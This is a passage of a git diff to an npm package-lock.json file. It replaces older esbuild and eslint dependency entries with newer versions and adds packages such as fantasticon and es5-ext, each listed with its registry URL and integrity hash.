"sha512-VHZl23sM9BOZXcLxk1vTYls8TCAY+/3llw9vHKIWAHDHzBBOlVv26ORK8gnStNMqTjCSGSMoq4T5jOZf2WrJPQ==", - "dev": true, - "optional": true - }, - "esbuild-darwin-arm64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-darwin-arm64/-/esbuild-darwin-arm64-0.14.5.tgz", - "integrity": "sha512-ugPOLgEQPoPLSqAFBajaczt+lcbUZR+V2fby3572h5jf/kFV6UL8LAZ1Ze58hcbKwfvbh4C09kp0PhqPgXKwOg==", - "dev": true, - "optional": true - }, - "esbuild-freebsd-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-freebsd-64/-/esbuild-freebsd-64-0.14.5.tgz", - "integrity": "sha512-uP0yOixSHF505o/Kzq9e4bvZblCZp9GGx+a7enLOVSuvIvLmtj2yhZLRPGfbVNkPJXktTKNRAnNGkXHl53M6sw==", - "dev": true, - "optional": true - }, - "esbuild-freebsd-arm64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-freebsd-arm64/-/esbuild-freebsd-arm64-0.14.5.tgz", - "integrity": "sha512-M99NPu8hlirFo6Fgx0WfX6XxUFdGclUNv3MyyfDtTdNYbccMESwLSACGpE7HvJKWscdjaqajeMu2an9adGNfCw==", - "dev": true, - "optional": true - }, - "esbuild-linux-32": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-linux-32/-/esbuild-linux-32-0.14.5.tgz", - "integrity": "sha512-hfqln4yb/jf/vPvI/A6aCvpIzqF3PdDmrKiikTohEUuRtvEZz234krtNwEAw5ssCue4NX8BJqrMpCTAHOl3LQw==", - "dev": true, - "optional": true + "env-paths": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/env-paths/-/env-paths-2.2.1.tgz", + "integrity": "sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==", + "dev": true }, - "esbuild-linux-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-linux-64/-/esbuild-linux-64-0.14.5.tgz", - "integrity": "sha512-T+OuYPlhytjj5DsvjUXizNjbV+/IrZiaDc9SNUfqiUOXHu0URFqchjhPVbBiBnWykCMJFB6pqNap2Oxth4iuYw==", - "dev": true, - "optional": true + "environment": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/environment/-/environment-1.1.0.tgz", + "integrity": "sha512-xUtoPkMggbz0MPyPiIWr1Kp4aeWJjDZ6SMvURhimjdZgsRuDplF5/s9hcgGhyXMhs+6vpnuoiZ2kFiu3FMnS8Q==", + "dev": true }, - "esbuild-linux-arm": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-linux-arm/-/esbuild-linux-arm-0.14.5.tgz", - "integrity": "sha512-5b10jKJ3lU4BUchOw9TgRResu8UZJf8qVjAzV5muHedonCfBzClGTT4KCNuOcLTJomH3wz6gNVJt1AxMglXnJg==", - "dev": true, - "optional": true + "err-code": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/err-code/-/err-code-2.0.3.tgz", + "integrity": "sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==", + "dev": true }, - "esbuild-linux-arm64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-linux-arm64/-/esbuild-linux-arm64-0.14.5.tgz", - "integrity": "sha512-ANOzoaH4kfbhEZT0EGY9g1tsZhDA+I0FRwBsj7D8pCU900pXF/l8YAOy5jWFQIb3vjG5+orFc5SqSzAKCisvTQ==", - "dev": true, - "optional": true + "es-define-property": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz", + "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==", + "dev": true }, - "esbuild-linux-mips64le": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-linux-mips64le/-/esbuild-linux-mips64le-0.14.5.tgz", - "integrity": "sha512-sSmGfOUNNB2Nd3tzp1RHSxiJmM5/RUIEP5aAtH+PpOP7FPp15Jcfwq7UNBJ82KLN3SJcwhUeEfcCaUFBzbTKxg==", - "dev": true, - "optional": true + "es-errors": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz", + "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==", + "dev": true }, - "esbuild-linux-ppc64le": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-linux-ppc64le/-/esbuild-linux-ppc64le-0.14.5.tgz", - "integrity": "sha512-usfQrVVIQcpuc/U2NWc7/Ry+m622v+PjJ5eErNPdjWBPlcvD6kXaBTv94uQkVzZOHX3uYqprRrOjseed9ApSYA==", + "es-object-atoms": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz", + "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==", "dev": true, - "optional": true + "requires": { + "es-errors": "^1.3.0" + } }, - "esbuild-netbsd-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-netbsd-64/-/esbuild-netbsd-64-0.14.5.tgz", - "integrity": "sha512-Q5KpvPZcPnNEaTjrvuWqvEnlhI2jyi1wWwYunlEUAhx60spQOTy10sdYOA+s1M+LPb6kwvasrZZDmYyQlcVZeA==", + "es-set-tostringtag": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz", + "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==", "dev": true, - "optional": true + "requires": { + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "has-tostringtag": "^1.0.2", + "hasown": "^2.0.2" + } }, - "esbuild-openbsd-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-openbsd-64/-/esbuild-openbsd-64-0.14.5.tgz", - "integrity": "sha512-RZzRUu1RYKextJgXkHhAsuhLDvm73YP/wogpUG9MaAGvKTxnKAKRuaw2zJfnbz8iBqBQB2no2PmpVBNbqUTQrw==", + "es5-ext": { + "version": "0.10.64", + "resolved": "https://registry.npmjs.org/es5-ext/-/es5-ext-0.10.64.tgz", + "integrity": "sha512-p2snDhiLaXe6dahss1LddxqEm+SkuDvV8dnIQG0MWjyHpcMNfXKPE+/Cc0y+PhxJX3A4xGNeFCj5oc0BUh6deg==", "dev": true, - "optional": true + "requires": { + "es6-iterator": "^2.0.3", + "es6-symbol": "^3.1.3", + "esniff": "^2.0.1", + "next-tick": "^1.1.0" + } }, - "esbuild-sunos-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-sunos-64/-/esbuild-sunos-64-0.14.5.tgz", - "integrity": "sha512-J2ffKsBBWscQlye+/giEgKsQCppwHHFqqt/sh+ojVF+DZy1ve6RpPGwXGcGF6IaZTAI9+Vk4eHleiQxb+PC9Yw==", + "es6-iterator": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es6-iterator/-/es6-iterator-2.0.3.tgz", + "integrity": "sha512-zw4SRzoUkd+cl+ZoE15A9o1oQd920Bb0iOJMQkQhl3jNc03YqVjAhG7scf9C5KWRU/R13Orf588uCC6525o02g==", "dev": true, - "optional": true + "requires": { + "d": "1", + "es5-ext": "^0.10.35", + "es6-symbol": "^3.1.1" + } }, - "esbuild-windows-32": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-windows-32/-/esbuild-windows-32-0.14.5.tgz", - "integrity": "sha512-OTZvuAc1JBnwmeT+hR1+Vmgz6LOD7DggpnwtKMAExruSLxUMl02Z3pyalJ7zKh3gJ/KBRM1JQZLSk4/mFWijeQ==", + "es6-symbol": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/es6-symbol/-/es6-symbol-3.1.4.tgz", + "integrity": "sha512-U9bFFjX8tFiATgtkJ1zg25+KviIXpgRvRHS8sau3GfhVzThRQrOeksPeT0BWW2MNZs1OEWJ1DPXOQMn0KKRkvg==", "dev": true, - "optional": true + "requires": { + "d": "^1.0.2", + "ext": "^1.7.0" + } }, - "esbuild-windows-64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-windows-64/-/esbuild-windows-64-0.14.5.tgz", - "integrity": "sha512-ZM9rlBDsPEeMVJ1wcpNMXUad9VzYOFeOBUXBi+16HZTvFPy2DkcC2ZWcrByP3IESToD5lvHdjSX/w8rxphjqig==", + "es6-weak-map": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/es6-weak-map/-/es6-weak-map-2.0.3.tgz", + "integrity": "sha512-p5um32HOTO1kP+w7PRnB+5lQ43Z6muuMuIMffvDN8ZB4GcnjLBV6zGStpbASIMk4DCAvEaamhe2zhyCb/QXXsA==", "dev": true, - "optional": true + "requires": { + "d": "1", + "es5-ext": "^0.10.46", + "es6-iterator": "^2.0.3", + "es6-symbol": "^3.1.1" + } }, - "esbuild-windows-arm64": { - "version": "0.14.5", - "resolved": "https://registry.npmjs.org/esbuild-windows-arm64/-/esbuild-windows-arm64-0.14.5.tgz", - "integrity": "sha512-iK41mKG2LG0AKHE+9g/jDYU5ZQpJObt1uIPSGTiiiJKI5qbHdEck6Gaqq2tmBI933F2zB9yqZIX7IAdxwN/q4A==", + "esbuild": { + "version": "0.27.0", + "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.27.0.tgz", + "integrity": "sha512-jd0f4NHbD6cALCyGElNpGAOtWxSq46l9X/sWB0Nzd5er4Kz2YTm+Vl0qKFT9KUJvD8+fiO8AvoHhFvEatfVixA==", "dev": true, - "optional": true + "requires": { + "@esbuild/aix-ppc64": "0.27.0", + "@esbuild/android-arm": "0.27.0", + "@esbuild/android-arm64": "0.27.0", + "@esbuild/android-x64": "0.27.0", + "@esbuild/darwin-arm64": "0.27.0", + "@esbuild/darwin-x64": "0.27.0", + "@esbuild/freebsd-arm64": "0.27.0", + "@esbuild/freebsd-x64": "0.27.0", + "@esbuild/linux-arm": "0.27.0", + "@esbuild/linux-arm64": "0.27.0", + "@esbuild/linux-ia32": "0.27.0", + "@esbuild/linux-loong64": "0.27.0", + "@esbuild/linux-mips64el": "0.27.0", + "@esbuild/linux-ppc64": "0.27.0", + "@esbuild/linux-riscv64": "0.27.0", + "@esbuild/linux-s390x": "0.27.0", + "@esbuild/linux-x64": "0.27.0", + "@esbuild/netbsd-arm64": "0.27.0", + "@esbuild/netbsd-x64": "0.27.0", + "@esbuild/openbsd-arm64": "0.27.0", + "@esbuild/openbsd-x64": "0.27.0", + "@esbuild/openharmony-arm64": "0.27.0", + "@esbuild/sunos-x64": "0.27.0", + "@esbuild/win32-arm64": "0.27.0", + "@esbuild/win32-ia32": "0.27.0", + "@esbuild/win32-x64": "0.27.0" + } }, "escalade": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.1.tgz", - "integrity": "sha512-k0er2gUkLf8O0zKJiAhmkTnJlTvINGv7ygDNPbeIsX/TJjGJZHuh9B2UxbsaEkmlEo9MfhrSzmhIlhRlI2GXnw==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.1.2.tgz", + "integrity": "sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==", "dev": true }, "escape-string-regexp": { @@ -4825,90 +16145,77 @@ "dev": true }, "eslint": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.3.0.tgz", - "integrity": "sha512-aIay56Ph6RxOTC7xyr59Kt3ewX185SaGnAr8eWukoPLeriCrvGjvAubxuvaXOfsxhtwV5g0uBOsyhAom4qJdww==", + "version": "8.57.0", + "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.57.0.tgz", + "integrity": "sha512-dZ6+mexnaTIbSBZWgou51U6OmzIhYM2VcNdtiTtI7qPNZm35Akpr0f6vtw3w1Kmn5PYo+tZVfh13WrhpS6oLqQ==", "dev": true, "requires": { - "@eslint/eslintrc": "^1.0.4", - "@humanwhocodes/config-array": "^0.6.0", - "ajv": "^6.10.0", + "@eslint-community/eslint-utils": "^4.2.0", + "@eslint-community/regexpp": "^4.6.1", + "@eslint/eslintrc": "^2.1.4", + "@eslint/js": "8.57.0", + "@humanwhocodes/config-array": "^0.11.14", + "@humanwhocodes/module-importer": "^1.0.1", + "@nodelib/fs.walk": "^1.2.8", + "@ungap/structured-clone": "^1.2.0", + "ajv": "^6.12.4", "chalk": "^4.0.0", "cross-spawn": "^7.0.2", "debug": "^4.3.2", "doctrine": "^3.0.0", - "enquirer": "^2.3.5", "escape-string-regexp": "^4.0.0", - "eslint-scope": "^7.1.0", - "eslint-utils": "^3.0.0", - "eslint-visitor-keys": "^3.1.0", - "espree": "^9.1.0", - "esquery": "^1.4.0", + "eslint-scope": "^7.2.2", + "eslint-visitor-keys": "^3.4.3", + "espree": "^9.6.1", + "esquery": "^1.4.2", "esutils": "^2.0.2", "fast-deep-equal": "^3.1.3", "file-entry-cache": "^6.0.1", - "functional-red-black-tree": "^1.0.1", - "glob-parent": "^6.0.1", - "globals": "^13.6.0", - "ignore": "^4.0.6", - "import-fresh": "^3.0.0", + "find-up": "^5.0.0", + "glob-parent": "^6.0.2", + "globals": "^13.19.0", + "graphemer": "^1.4.0", + "ignore": "^5.2.0", "imurmurhash": "^0.1.4", "is-glob": "^4.0.0", + "is-path-inside": "^3.0.3", "js-yaml": "^4.1.0", "json-stable-stringify-without-jsonify": "^1.0.1", "levn": "^0.4.1", "lodash.merge": "^4.6.2", - "minimatch": "^3.0.4", + "minimatch": "^3.1.2", "natural-compare": "^1.4.0", - "optionator": "^0.9.1", - "progress": "^2.0.0", - "regexpp": "^3.2.0", - "semver": "^7.2.1", + "optionator": "^0.9.3", "strip-ansi": "^6.0.1", - "strip-json-comments": "^3.1.0", - "text-table": "^0.2.0", - "v8-compile-cache": "^2.0.3" - }, - "dependencies": { - "eslint-scope": { - "version": "7.1.0", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.1.0.tgz", - "integrity": "sha512-aWwkhnS0qAXqNOgKOK0dJ2nvzEbhEvpy8OlJ9kZ0FeZnA6zpjv1/Vei+puGFFX7zkPCkHHXb7IDX3A+7yPrRWg==", - "dev": true, - "requires": { - "esrecurse": "^4.3.0", - "estraverse": "^5.2.0" - } - }, - "estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "dev": true - }, - "ignore": { - "version": "4.0.6", - "resolved": "https://registry.npmjs.org/ignore/-/ignore-4.0.6.tgz", - "integrity": "sha512-cyFDKrqc/YdcWFniJhzI42+AzS+gNwmUzOSFcRCQYwySuBBBy/KjuxWLZ/FHEH6Moq1NizMOBWyTcv8O4OZIMg==", - "dev": true - } + "text-table": "^0.2.0" } }, "eslint-config-prettier": { - "version": "8.3.0", - "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-8.3.0.tgz", - "integrity": "sha512-BgZuLUSeKzvlL/VUjx/Yb787VQ26RU3gGjA3iiFvdsp/2bMfVIWUVP7tjxtjS0e+HP409cPlPvNkQloz8C91ew==", + "version": "10.1.8", + "resolved": "https://registry.npmjs.org/eslint-config-prettier/-/eslint-config-prettier-10.1.8.tgz", + "integrity": "sha512-82GZUjRS0p/jganf6q1rEO25VSoHH0hKPCTrgillPjdI/3bgBhAE1QzHrHTizjpRvy6pGAvKjDJtk2pF9NDq8w==", "dev": true, "requires": {} }, + "eslint-plugin-mocha": { + "version": "10.5.0", + "resolved": "https://registry.npmjs.org/eslint-plugin-mocha/-/eslint-plugin-mocha-10.5.0.tgz", + "integrity": "sha512-F2ALmQVPT1GoP27O1JTZGrV9Pqg8k79OeIuvw63UxMtQKREZtmkK1NFgkZQ2TW7L2JSSFKHFPTtHu5z8R9QNRw==", + "dev": true, + "requires": { + "eslint-utils": "^3.0.0", + "globals": "^13.24.0", + "rambda": "^7.4.0" + } + }, "eslint-scope": { - "version": "5.1.1", - "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz", - "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==", + "version": "7.2.2", + "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-7.2.2.tgz", + "integrity": "sha512-dOt21O7lTMhDM+X9mB4GX+DZrZtCUJPL/wlcTqxyrx5IvO0IYtILdtrQGQp+8n5S0gwSVmOf9NQrjMOgfQZlIg==", "dev": true, "requires": { "esrecurse": "^4.3.0", - "estraverse": "^4.1.1" + "estraverse": "^5.2.0" } }, "eslint-utils": { @@ -4929,37 +16236,47 @@ } }, "eslint-visitor-keys": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.1.0.tgz", - "integrity": "sha512-yWJFpu4DtjsWKkt5GeNBBuZMlNcYVs6vRCLoCVEJrTjaSB6LC98gFipNK/erM2Heg/E8mIK+hXG/pJMLK+eRZA==", + "version": "3.4.3", + "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", + "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", "dev": true }, + "esniff": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/esniff/-/esniff-2.0.1.tgz", + "integrity": "sha512-kTUIGKQ/mDPFoJ0oVfcmyJn4iBDRptjNVIzwIFR7tqWXdVI9xfA2RMwY/gbSpJG3lkdWNEjLap/NqVHZiJsdfg==", + "dev": true, + "requires": { + "d": "^1.0.1", + "es5-ext": "^0.10.62", + "event-emitter": "^0.3.5", + "type": "^2.7.2" + } + }, "espree": { - "version": "9.1.0", - "resolved": "https://registry.npmjs.org/espree/-/espree-9.1.0.tgz", - "integrity": "sha512-ZgYLvCS1wxOczBYGcQT9DDWgicXwJ4dbocr9uYN+/eresBAUuBu+O4WzB21ufQ/JqQT8gyp7hJ3z8SHii32mTQ==", + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/espree/-/espree-9.6.1.tgz", + "integrity": "sha512-oruZaFkjorTpF32kDSI5/75ViwGeZginGGy2NoOSg3Q9bnwlnmDm4HLnkl0RE3n+njDXR037aY1+x58Z/zFdwQ==", "dev": true, "requires": { - "acorn": "^8.6.0", - "acorn-jsx": "^5.3.1", - "eslint-visitor-keys": "^3.1.0" + "acorn": "^8.9.0", + "acorn-jsx": "^5.3.2", + "eslint-visitor-keys": "^3.4.1" } }, + "esprima": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz", + "integrity": "sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==", + "dev": true + }, "esquery": { - "version": "1.4.0", - "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.4.0.tgz", - "integrity": "sha512-cCDispWt5vHHtwMY2YrAQ4ibFkAL8RbH5YGBnZBc90MolvvfkkQcJro/aZiAQUlQ3qgrYS6D6v8Gc5G5CQsc9w==", + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/esquery/-/esquery-1.5.0.tgz", + "integrity": "sha512-YQLXUplAwJgCydQ78IMJywZCceoqk1oH01OERdSAJc/7U2AylwjhSCLDEtqwg811idIS/9fIU5GjG73IgjKMVg==", "dev": true, "requires": { "estraverse": "^5.1.0" - }, - "dependencies": { - "estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "dev": true - } } }, "esrecurse": { @@ -4969,20 +16286,12 @@ "dev": true, "requires": { "estraverse": "^5.2.0" - }, - "dependencies": { - "estraverse": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", - "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", - "dev": true - } } }, "estraverse": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz", - "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw==", + "version": "5.3.0", + "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-5.3.0.tgz", + "integrity": "sha512-MMdARuVEQziNTeJD8DgMqmhwR11BRQ/cBP+pLtYdSTnf3MIO8fFeiINEbX36ZdNlfU/7A9f3gUw49B3oQsvwBA==", "dev": true }, "esutils": { @@ -4991,36 +16300,122 @@ "integrity": "sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==", "dev": true }, + "event-emitter": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/event-emitter/-/event-emitter-0.3.5.tgz", + "integrity": "sha512-D9rRn9y7kLPnJ+hMq7S/nhvoKwwvVJahBi2BPmx3bvbsEdK3W9ii8cBSGjP+72/LnM4n6fo3+dkCX5FeTQruXA==", + "dev": true, + "requires": { + "d": "1", + "es5-ext": "~0.10.14" + } + }, + "event-target-shim": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/event-target-shim/-/event-target-shim-5.0.1.tgz", + "integrity": "sha512-i/2XbnSz/uxRCU6+NdVJgKWDTM427+MqYbkQzD321DuCQJUqOuJKIA0IM2+W2xtYHdKOmZ4dR6fExsd4SXL+WQ==" + }, + "eventemitter3": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/eventemitter3/-/eventemitter3-5.0.1.tgz", + "integrity": "sha512-GWkBvjiSZK87ELrYOSESUYeVIc9mvLLf/nXalMOS5dYrgZq9o5OVkbZAVM06CVxYsCwH9BDZFPlQTlPA1j4ahA==", + "dev": true + }, + "events": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/events/-/events-3.3.0.tgz", + "integrity": "sha512-mQw+2fkQbALzQ7V0MY0IqdnXNOeTtP4r0lN9z7AAawCXgqea7bDii20AYrIBrFd/Hx0M2Ocz6S111CaFkUcb0Q==" + }, "expand-template": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/expand-template/-/expand-template-2.0.3.tgz", "integrity": "sha512-XYfuKMvj4O35f/pOXLObndIRvyQ+/+6AhODh+OKWj9S9498pHHn/IMszH+gt0fBCRWMNfk1ZSp5x3AifmnI2vg==", + "dev": true, + "optional": true + }, + "exponential-backoff": { + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/exponential-backoff/-/exponential-backoff-3.1.2.tgz", + "integrity": "sha512-8QxYTVXUkuy7fIIoitQkPwGonB8F3Zj8eEO8Sqg9Zv/bkI7RJAzowee4gr81Hak/dUTpA2Z7VfQgoijjPNlUZA==", "dev": true }, + "ext": { + "version": "1.7.0", + "resolved": "https://registry.npmjs.org/ext/-/ext-1.7.0.tgz", + "integrity": "sha512-6hxeJYaL110a9b5TEJSj0gojyHQAmA2ch5Os+ySCiA1QGdS697XWY1pzsrSjqA9LDEEgdB/KypIlR59RcLuHYw==", + "dev": true, + "requires": { + "type": "^2.7.2" + } + }, + "fantasticon": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/fantasticon/-/fantasticon-1.2.3.tgz", + "integrity": "sha512-VoPXI8+wbLq4qooK2LAFRcqKtOCR20+InF/Io/9I1kLp3IT+LwqJgeFijFvp9a3HRZptfCAxNvazoVHn4kihzQ==", + "dev": true, + "requires": { + "change-case": "^4.1.2", + "cli-color": "^2.0.0", + "commander": "^7.2.0", + "glob": "^7.2.0", + "handlebars": "^4.7.7", + "slugify": "^1.6.0", + "svg2ttf": "^6.0.3", + "svgicons2svgfont": "^10.0.3", + "ttf2eot": "^2.0.0", + "ttf2woff": "^3.0.0", + "ttf2woff2": "^4.0.4" + }, + "dependencies": { + "commander": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-7.2.0.tgz", + "integrity": "sha512-QrWXB+ZQSVPmIWIhtEO9H+gwHaMGYiF5ChvoJ+K9ZGHG/sVsa6yiesAD1GC/x46sET00Xlwo1u49RVVVzvcSkw==", + "dev": true + }, + "glob": { + "version": "7.2.3", + "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz", + "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==", + "dev": true, + "requires": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + } + } + } + }, "fast-deep-equal": { "version": "3.1.3", "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", "dev": true }, + "fast-fifo": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/fast-fifo/-/fast-fifo-1.3.2.tgz", + "integrity": "sha512-/d9sfos4yxzpwkDkuN7k2SqFKtYNmCTzgfEpz82x34IM9/zc8KGxQoXg1liNC/izpRM/MBdt44Nmx41ZWqk+FQ==" + }, "fast-glob": { - "version": "3.2.7", - "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.2.7.tgz", - "integrity": "sha512-rYGMRwip6lUMvYD3BTScMwT1HtAs2d71SMv66Vrxs0IekGZEjhM0pcMfjQPnknBt2zeCwQMEupiN02ZP4DiT1Q==", - "dev": true, + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/fast-glob/-/fast-glob-3.3.3.tgz", + "integrity": "sha512-7MptL8U0cqcFdzIzwOTHoilX9x5BrNqye7Z/LuC7kCMRio1EMSyqRK3BEAUD7sXRq4iT4AzTVuZdhgQ2TCvYLg==", "requires": { "@nodelib/fs.stat": "^2.0.2", "@nodelib/fs.walk": "^1.2.3", "glob-parent": "^5.1.2", "merge2": "^1.3.0", - "micromatch": "^4.0.4" + "micromatch": "^4.0.8" }, "dependencies": { "glob-parent": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz", "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==", - "dev": true, "requires": { "is-glob": "^4.0.1" } @@ -5039,11 +16434,16 @@ "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=", "dev": true }, + "fast-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz", + "integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==", + "dev": true + }, "fastq": { - "version": "1.13.0", - "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.13.0.tgz", - "integrity": "sha512-YpkpUnK8od0o1hmeSc7UUs/eB/vIPWJYjKck2QKIzAf71Vm1AAQ3EbuZB3g2JIy+pg+ERD0vqI79KyZiB2e2Nw==", - "dev": true, + "version": "1.17.1", + "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.17.1.tgz", + "integrity": "sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==", "requires": { "reusify": "^1.0.4" } @@ -5057,6 +16457,12 @@ "pend": "~1.2.0" } }, + "fecha": { + "version": "4.2.3", + "resolved": "https://registry.npmjs.org/fecha/-/fecha-4.2.3.tgz", + "integrity": "sha512-OP2IUU6HeYKJi3i0z4A19kHMQoLVs4Hc+DPqqxI2h/DPZHTm/vjsfC6P0b4jCMy14XizLBqvndQ+UilD7707Jw==", + "dev": true + }, "file-entry-cache": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz", @@ -5066,11 +16472,22 @@ "flat-cache": 